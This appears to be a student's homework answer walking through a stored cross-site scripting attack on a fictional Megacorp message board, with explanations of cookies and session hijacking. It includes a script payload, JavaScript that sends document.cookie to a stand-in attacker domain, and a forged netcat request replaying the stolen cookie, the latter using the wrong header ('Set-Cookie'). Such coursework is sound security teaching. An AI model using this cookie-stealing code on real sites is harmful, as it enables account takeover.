BGN: 2191A

P4

Q7

a.

<script>PAYLOAD</script>

The victim is any user who views my message in the message board. The exploit works because the Megacorp website (naively) expects all posted messages to be plain text, and so does not filter out or escape HTML tags. When the victim loads the message board, my “message” will be inserted into the HTML document, but the victim’s browser cannot automatically tell that this “script” tag is supposed to be displayed as text, so instead the browser executes the JavaScript payload.

b. Cookies are a piece of data stored in a user’s browser. They are often issued by a server as an identifier. When the user performs actions on the server, these actions can be stored in some database, associated with the user’s cookie. This way, when the user sends subsequent requests to this server, they can attach their cookie to their request and the server can remember what this user has done in the past.

   One such action is logging in. When the user logs in, the server might issue a cookie as proof of identity, so when the browser sends this cookie along with a request, the server remembers/trusts that this user is authenticated.

   An attacker might wish to steal cookies because they can be used as proof of identity in this way. If an attacker steals a cookie from a privileged user, they can send this cookie to the server along with requests, and the server will believe that these requests are coming from the privileged user.

```
<script>
	/* ... */
	const stolenCookies = document.cookie;
	/* ... */
</script>
```

c.

```
<script>
      /* ... */
      const stolenCookies = document.cookie;
      fetch(`https://my-evil-
domain.com?stolenCookie=${encodeURIComponent(stolenCookies)}`)
;
      /* ... */
</script>
```

My technique works by sending a GET request using the built-in “fetch” API to some domain under my (the attacker’s) control. As one of the GET parameters, the stolen cookie is attached. (In case the cookie contains any special characters with respect to a URI, it is escaped using the built-in “encodeURIComponent” function first).

I would set up a server on this domain, which is listening for GET requests, and keeps a log of all of the parameters named “stolenCookie” received from such requests – perhaps alongside the IP address from which the request originated or some details about the device (user-agent, etc.) as the requests will be coming from the victim’s own browser.

d. (extra newlines added for clarity)

```
GET
/bb/post?Subject=My%20account%20has%20been%20hacked&Body=
My%20account%20has%20been%20hacked HTTP/2

Host: www.megacorp.com

User-Agent: Mozilla/5.0 (platform; rv:geckoversion)
Gecko/geckotrail Firefox/firefoxversion

Set-Cookie: [COOKIE]

Accept: */*
```

Netcat command:

```
$ nc www.megacorp.com 80
```

```
GET
/bb/post?Subject=My%20account%20has%20been%20hacked&Body=
My%20account%20has%20been%20hacked HTTP/2
Host: www.megacorp.com
User-Agent: Mozilla/5.0 (platform; rv:geckoversion)
Gecko/geckotrail Firefox/firefoxversion
Set-Cookie: [COOKIE]
Accept: */*
```

e. The attack might have failed the third time for several reasons.

   One reason could be that the first and second attacks alerted Megacorp that there was a vulnerability, and they have since patched it.

   Another reason could be that the cookie had expired. Some servers have their cookies expire after a certain amount of time (e.g., an hour or a day), after which users are required to log in again to perform privileged actions. In such a case, parts (a)-(c) must be performed again to access the CEO’s most recent cookie.